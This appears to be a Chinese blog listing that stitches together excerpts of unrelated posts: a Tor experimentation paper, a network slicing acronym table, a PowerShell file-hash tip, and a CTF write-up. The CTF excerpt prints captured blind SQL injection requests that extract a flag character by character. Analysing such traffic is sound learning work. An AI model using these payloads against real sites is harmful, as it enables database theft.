《Tor Experimentation Tools》

Tor Experimentation Tools

Fatemeh Shirazi Matthias Goehring Claudia Diaz
TU Darmstadt/KU Leuven TU Darmstadt KU Leuven/iMinds
Darmstadt, Germany Darmstadt, Germany Leuven, Belgium
fshirazi@cdc.informatik.tu-darmstadt.de de.m.goehring@ieee.org claudia.diaz@esat.kuleuven.be

前言

模拟(simulation)和 仿真(emulation)

模拟是模仿一个系统,以获得类似的结果;虽然底层功能可能被简化,并与它所模拟的系统有很大不同。

……

《Network Slicing Security Challenges and Directions》

[TOC]

缩略语

缩写 全称 中文翻译
NSM Network Slice Manager 网络分片管理
NFV Network Functions Virtualization 网络功能虚拟化
NSI Network Slice Instances 网络分片示例
RAN Radio Access Network 无线电接入网
BSS Business support system 业务支撑系统
OSS Operation support system 运营支撑系统
MSS Management Support System 管理支撑系统

BSS/OSS又合称BOSS: Business and Operation support system

……

PowerShell计算文件Hash

废话少说,直接上命令。

命令

1
Get-FileHash C:\Windows\notepad.exe -Algorithm MD5| Format-List

其中MD5可使用以下选项进行替换

  • SHA1
  • SHA256(默认)
  • SHA384
  • SHA512
  • MD5

吐槽

PowerShellCMD的功能多好多了,以前还要专门下载软件计算文件Hash。

……

Ctf之sql注入流量之二分查找

今天下午一个CTF比赛,师兄给了一个文件,内容大致如下

/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C17%2C1%29%29%3E108<br><br><font color = "red">你当前执行的语句是:SELECT * from news where id =1 AND ORD(MID((SELECT IFNULL(CAST(flag_here AS CHAR),0x20) FROM sqltest.flag ORDER BY flag_here LIMIT 0,1),17,1))>108</font><br><br>   
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C17%2C1%29%29%3E108   id:1<br><br>
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C17%2C1%29%29%3E108 用户名:admin<br><br>
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C17%2C1%29%29%3E108  Blog地址:www.duwentao.top<br><br>
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C17%2C1%29%29%3E108 频道:<font color = "red"><a href="https://www.youtube.com/channel/UCiO_qNDegcpV4cUhkFc22lA">点此订阅</a></font>

/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C19%2C1%29%29%3E112<br><br><font color = "red">你当前执行的语句是:SELECT * from news where id =1 AND ORD(MID((SELECT IFNULL(CAST(flag_here AS CHAR),0x20) FROM sqltest.flag ORDER BY flag_here LIMIT 0,1),19,1))>112</font><br><br>   
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C19%2C1%29%29%3E112   id:1<br><br>
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C19%2C1%29%29%3E112 用户名:admin<br><br>
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C19%2C1%29%29%3E112  Blog地址:www.duwentao.top<br><br>
/index.php%3fid=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28flag_here%20AS%20CHAR%29%2C0x20%29%20FROM%20sqltest.flag%20ORDER%20BY%20flag_here%20LIMIT%200%2C1%29%2C19%2C1%29%29%3E112 频道:<font color = "red"><a href="https://www.youtube.com/channel/UCiO_qNDegcpV4cUhkFc22lA">点此订阅</a></font>

以上省略接近1500行。

……